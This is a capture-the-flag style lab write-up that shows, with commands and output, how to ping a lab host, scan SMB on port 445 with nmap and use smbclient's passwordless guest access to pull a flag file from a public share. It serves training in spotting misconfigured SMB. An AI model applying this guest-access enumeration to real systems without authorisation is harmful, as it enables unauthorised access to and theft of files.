SMB Enumeration & Guest Access

A project in the Cybersecurity Skill Tree

Project description

In this project, I will demonstrate the fundamentals of SMB service enumeration and guest access exploitation using tools like nmap and smbclient to discover SMB services, enumerate public shares, and exploit misconfigured guest access to access sensitive files.

Verify Connectivity to Target with Ping

First, I will ensure the target server is up and running by using the “ping” command from the terminal to send four packets to the server with the hostname “target”.

```
labex:project/ $ ping -c 4 target
PING target (172.17.0.2) 56(84) bytes of data.
64 bytes from target (172.17.0.2): icmp_seq=1 ttl=64 time=0.044 ms
64 bytes from target (172.17.0.2): icmp_seq=2 ttl=64 time=0.037 ms
64 bytes from target (172.17.0.2): icmp_seq=3 ttl=64 time=0.050 ms
64 bytes from target (172.17.0.2): icmp_seq=4 ttl=64 time=0.044 ms

--- target ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3063ms
rtt min/avg/max/mdev = 0.037/0.043/0.050/0.004 ms
```

Scan Open Ports with Nmap

Now that connectivity has been confirmed, I will use the “nmap” utility to perform a scan on the target machine that identifies open ports, detects service versions, and runs relevant scripts for the SMB protocol.

```
labex:project/ $ nmap -sV --script smb-protocols.nse -p445 target
Starting Nmap 7.80 ( https://nmap.org ) at 2025-11-04 00:40 CST
Nmap scan report for target (172.17.0.2)
Host is up (0.00031s latency).

PORT    STATE SERVICE     VERSION
445/tcp open  netbios-ssn Samba smbd 4.6.2

Host script results:
| smb-protocols:
|   dialects:
|     2.02
|     2.10
|     3.00
|     3.02
|_    3.11

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.75 seconds
```

Connect to Target via SMB and Locate Flag

After running the nmap scan, I have discovered that guest access is enabled on the target machine's SMB service, which allows anyone on the network to connect without a username or password. I will now use "smbclient" to exploit this misconfiguration by making a guest connection to the target's public share, finding the flag, and retrieving it to my local machine as proof of compromise.

```
labex:project/ $ smbclient //target/public -N
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Tue Nov  4 01:16:55 2025
  ..                                  D        0  Tue Nov  4 01:16:55 2025
  flag.txt                            N       29  Tue Nov  4 01:16:55 2025

                40901312 blocks of size 1024. 21442064 blocks available
smb: \> get flag.txt
getting file \flag.txt of size 29 as flag.txt (14.2 KiloBytes/sec) (average 14.2 KiloBytes/sec)
smb: \> exit
labex:project/ $ cat flag.txt
labex{smb_gu3st_acc3ss_fl4g}
```

Summary

This is a basic example of how easily sensitive data can be exfiltrated when guest access is enabled in an SMB configuration. Exercises like this are important for determining the defensive hardening posture of critical network services.